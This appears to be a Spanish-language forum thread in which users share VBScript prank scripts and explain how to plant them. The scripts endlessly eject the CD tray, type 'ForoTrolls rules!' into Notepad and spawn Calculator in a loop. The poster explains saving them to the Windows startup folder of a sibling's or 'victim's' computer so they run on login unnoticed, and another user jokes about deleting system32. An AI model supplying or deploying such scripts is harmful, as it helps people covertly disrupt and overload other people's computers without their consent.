vbs

[stoom]

No lo pongo en informática xq es una chorrada jajajajja
---------------------------------------------------------------------------
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if
-----------------------------------------------------------------------------------------
:meparto: :meparto: :meparto: :meparto:

se le puede poner un:

do
msgbox "ForoTrolls rules!"
loop

 

[stoom]

Set objShell = CreateObject("WScript.Shell")
strCommand = "notepad.exe"
objShell.Run strCommand, 1
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 300
wshshell.sendkeys "ForoTrolls rules!"
loop

 

[stoom]

Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "calc.exe"
WScript.Sleep 600
loop


:meparto: :meparto: :meparto:

 

[NegroDelBronx]

Un exe que te abre la lectora?

 

[stoom]

Un exe que te abre la lectora?

son vbs

yo los guardo en la carpeta inicio de la pc de mi hermano

 

[stoom]

para los que no saben

abren el blog de notas
pegan el codigo
lo guardan con extensión vbs

y luego lo pueden guardar en la carpeta de inicio

 

[stoom]

se guarda en

C:\Documents and Settings\tuhermano\Menú Inicio\Programas\Inicio

 

[NegroDelBronx]

para los que no saben

abren el blog de notas
pegan el codig
lo guardan con extensión vbs

y luego lo pueden guardar en la carpeta de inicio

Mejor @echo delete sys32 y msbox forotrolls

 

[stoom]

con esto detienen el codigo

@echo off

TASKKILL /F /IM wscript.exe
TASKKILL /F /IM notepad.exe
TASKKILL /F /IM calc.exe


lo guardan como *.bat

 

[Pariente]

Ni idea de VB, aunque se entiende perfectamente.

 

[Draxler]

sube un video o caps de lo que hace que no me entero de nada

 

[Psicopata]

sube un video o caps de lo que hace que no me entero de nada

El iconito de MSN se te vuelve amarillo y asi no tendrás que pagarlo

 

[Draxler]

El iconito de MSN se te vuelve amarillo y asi no tendrás que pagarlo

Andy y John se han puesto manos a la obra por lo que veo xDDD :elrisas:

 

[Pariente]

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
end if

Esto abre continuamente la bandeja de CDs.

Set objShell = CreateObject("WScript.Shell")
strCommand = "notepad.exe"
objShell.Run strCommand, 1
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 300
wshshell.sendkeys "ForoTrolls rules!"
loop

Este abre el bloc de notas y escribe "ForoTrolls rules".

Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "calc.exe"
WScript.Sleep 600
loop

Abre la calculadora infinitas veces.

sube un video o caps de lo que hace que no me entero de nada

:mola:

 

[Draxler]

Esto abre continuamente la bandeja de CDs.
Este abre el bloc de notas y escribe "ForoTrolls rules".
Abre la calculadora infinitas veces.
:mola:

gracias pari! a tanto nivel de informática no llego

 

[Psicopata]

gracias pari! a tanto nivel de informática no llego

:facepalm:

Menudo foro... y yo anteayer explicandole a uno de los usuarios por MP como usar un VPN... lo vuestro tiene delito

 

[Draxler]

:facepalm:

Menudo foro... y yo anteayer explicandole a uno de los usuarios por MP como usar un VPN... lo vuestro tiene delito

yo no era

 

[Psicopata]

yo no era

Me lo dices o me lo cuentas?

 

[NegroDelBronx]

Pero quien va a ejecutar a dia de hoy un vbs? :facepalm:

 

[stoom]

Pero quien va a ejecutar a dia de hoy un vbs? :facepalm:

se supone que se ejecuta automáticamente al colocarlo en inicio

vas a la pc de tu victima, creas el código, los guardas en inicio y a esperar